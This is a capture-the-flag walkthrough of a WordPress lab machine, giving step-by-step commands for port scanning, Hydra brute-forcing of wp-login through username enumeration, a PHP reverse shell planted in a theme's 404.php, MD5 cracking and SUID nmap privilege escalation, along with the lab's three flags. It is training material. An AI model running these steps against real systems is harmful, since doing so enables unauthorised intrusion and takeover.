A WordPress blog with a leaked wordlist, weak credentials, a hidden base64 login, and the classic SUID nmap privesc. Goal: 3 keys.
1 · Reconnaissance
# Full port scan with services
nmap -sC -sV -p- --min-rate 1000 10.10.x.x
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2 · Key 1 — robots.txt
robots.txt leaks two files: the first key and fsocity.dic, a wordlist we reuse later.
curl http://10.10.x.x/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
wget http://10.10.x.x/key-1-of-3.txt
cat key-1-of-3.txt
073403c8a58a1f80d943455fb30724b9
3 · WordPress Enumeration
gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/wp-login (Status: 200)
/wp-admin (Status: 301)
/wp-content (Status: 301)
# fsocity.dic has ~858k words, mostly duplicates — dedup first
sort fsocity.dic | uniq > fs-clean.txt
wc -w fs-clean.txt # 11451 unique words
4 · Brute-Forcing wp-login
WordPress leaks whether a username exists (Invalid username vs wrong-password message). Find the user first, then crack the password with Hydra.
# 1) Find the username
hydra -L fs-clean.txt -p test 10.10.x.x http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30
# > username: elliot
# 2) Crack the password
hydra -l elliot -P fs-clean.txt 10.10.x.x http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30
# > creds: elliot : ER28-0652
Fast path: the /license page hides base64 that decodes straight to the same creds.
echo ZWxsaW90OkVSMjgtMDY1Mgo= | base64 -d
# elliot:ER28-0652
5 · Reverse Shell via Theme Editor
Logged in as admin, inject a PHP reverse shell into the theme: Appearance → Editor → 404.php. Paste pentestmonkey's shell, set your IP/port, save, then hit the template. Upgrade the dumb shell to a TTY.
# Attacker side — listener
nc -lvnp 4444
# Trigger the shell
http://10.10.x.x/wp-content/themes/twentyfifteen/404.php
# Upgrade TTY
python -c 'import pty; pty.spawn("/bin/bash")'
6 · Pivot to the robot User
Shell lands as daemon. /home/robot holds a hash file for the robot user and the key — readable only by robot.
cd /home/robot && ls -la
-r-------- 1 robot robot 33 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
# robot : abcdefghijklmnopqrstuvwxyz
su robot
cat /home/robot/key-2-of-3.txt
822c73956184f694993bebb3eb32f0bf
7 · Privesc — SUID Nmap
A GTFOBins classic. Old nmap ships an --interactive shell where ! runs commands as the binary owner — and /usr/local/bin/nmap has the SUID bit.
find / -perm -u=s -type f 2>/dev/null
/usr/local/bin/nmap # <-- SUID, owned by root
/usr/local/bin/nmap --interactive
nmap> !sh
# root shell
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
8 · What Made It Work
Step 4 is the interesting one. WordPress's login form returns a different message for an unknown username than for a wrong password, so the brute force collapses to one column against a single known account instead of a password list times a user list. The /license page then hands over those same credentials base64-encoded, which is a good reminder of how little the 858k-word dictionary did.